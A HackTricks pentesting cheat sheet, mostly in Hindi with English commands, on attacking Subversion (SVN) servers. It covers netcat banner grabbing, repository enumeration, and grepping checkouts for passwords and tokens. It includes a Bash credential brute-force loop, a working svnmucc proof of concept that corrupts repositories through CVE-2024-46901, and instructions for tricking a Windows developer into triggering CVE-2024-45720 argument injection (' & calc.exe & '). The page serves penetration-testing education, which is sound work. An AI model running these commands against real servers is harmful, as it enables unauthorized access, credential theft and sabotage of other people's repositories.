3690/tcp - Pentesting Subversion (SVN) सर्वर
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
मूल जानकारी
Subversion (SVN) एक केंद्रीकृत संस्करण नियंत्रण प्रणाली (Apache license) है जो सॉफ़्टवेयर वर्शनिंग और रिवीजन कंट्रोल के लिए उपयोग की जाती है।
डिफ़ॉल्ट पोर्ट: 3690/tcp (svnserve). यह mod_dav_svn के माध्यम से HTTP/HTTPS के जरिए और svn+ssh के माध्यम से भी एक्सपोज़ किया जा सकता है।
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
Enumeration
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
Auth & Misconfig Hunting
svnserve.confमेंanon-access = read(या यहाँ तक कि write) की अनुमति हो सकती है। अगर आप लिस्ट कर पाते हैं, तो secrets, scripts, CI tokens निकालने के लिएcheckoutआज़माएँ।- रिपॉजिटरी अक्सर versioned config फ़ाइलों में build pipelines, deployment keys, और database credentials स्टोर करते हैं।
checkoutके बाद working copy में grep करें:grep -R "password\|secret\|token" -n .. - अगर
svn+sshसक्षम है, तो user shells अक्सर restrictedsvnserveकमांड की अनुमति देते हैं; wrappers को बायपास करने के लिए crafted subcommands के साथssh user@host svnserve -tआज़माएँ।
Bruteforcing credentials (svnserve)
sasl authentication (यदि सक्षम हो) और साधारण पासवर्ड फ़ाइलें केवल ट्रांसपोर्ट द्वारा सुरक्षित होती हैं; डिफ़ॉल्ट रूप से कोई lockout नहीं होता। एक त्वरित Bash लूप क्रेडेंशियल्स आज़मा सकता है:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
हाल की कमजोरियाँ (व्यावहारिक प्रभाव)
mod_dav_svn DoS के माध्यम से control characters (CVE-2024-46901)
- एक उपयोगकर्ता जिसके पास commit rights हैं, वह control chars (e.g.
\x01,\x7f) वाला path लिख सकता है जो repository को भ्रष्ट कर देता है, जिससे बाद के checkouts/logs fail हो जाते हैं और संभावित रूप सेmod_dav_svnworkers क्रैश हो सकते हैं। - यह Subversion ≤ 1.14.4 को प्रभावित करता है जब इसे HTTP(S) (
mod_dav_svn) के माध्यम से परोसा जाता है। 1.14.5 में फिक्स किया गया। - PoC commit with
svnmucc(requires valid commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- After the commit, normal clients may crash or refuse updates until admins manually remove the revision with
svnadmin dump/filter/load.
Windows argument injection in svn client (CVE-2024-45720)
- On Windows, “best-fit” character encoding in
svn.exeallows command-line argument injection when processing specially crafted non‑ASCII paths/URLs, potentially leading to arbitrary program execution. - Affects Subversion ≤ 1.14.3 on Windows only; fixed in 1.14.4. Attack surface: phishing a developer to run
svnon an attacker-controlled URL/path. - Pentest angle: यदि आप किसी नेटवर्क share या ZIP जिसे Windows dev को दिया गया है नियंत्रित करते हैं, तो repo URL या working-copy path का नाम ऐसा रखें जिसमें best-fit bytes हों जो decode होकर
" & calc.exe & "-style injected args बन जाएँ; फिर शिकार को उस path परsvn statusया इसी तरह का कमांड चलाने के लिए धोखा दें।
शोषण कार्यप्रवाह के लिए नोट्स
- Check access method:
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), orsvn+ssh://. - Try anonymous read first; then spray common creds. If HTTP Basic is used, reuse creds found elsewhere.
- Enumerate hooks:
hooks/pre-commit,post-commitscripts कभी-कभी plaintext credentials या hostnames contain करते हैं। - Leverage
svn:externalsto pull additional paths from other hosts; checkout के बाद इन्हेंsvn propget svn:externals -R .से list करें। - Version leaks:
mod_dav_svnसे आने वाले HTTP response headers आमतौर पर Subversion और Apache version दिखाते हैं; संभावित vulnerable लक्ष्यों की पहचान के लिए इन्हें 1.14.5 के साथ तुलना करें। - यदि आपको repo का filesystem access मिल जाता है, तो
svnadmin dump/svnlook author/svnlook dirs-changedबिना credentials के offline analysis की अनुमति देते हैं।
संदर्भ
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


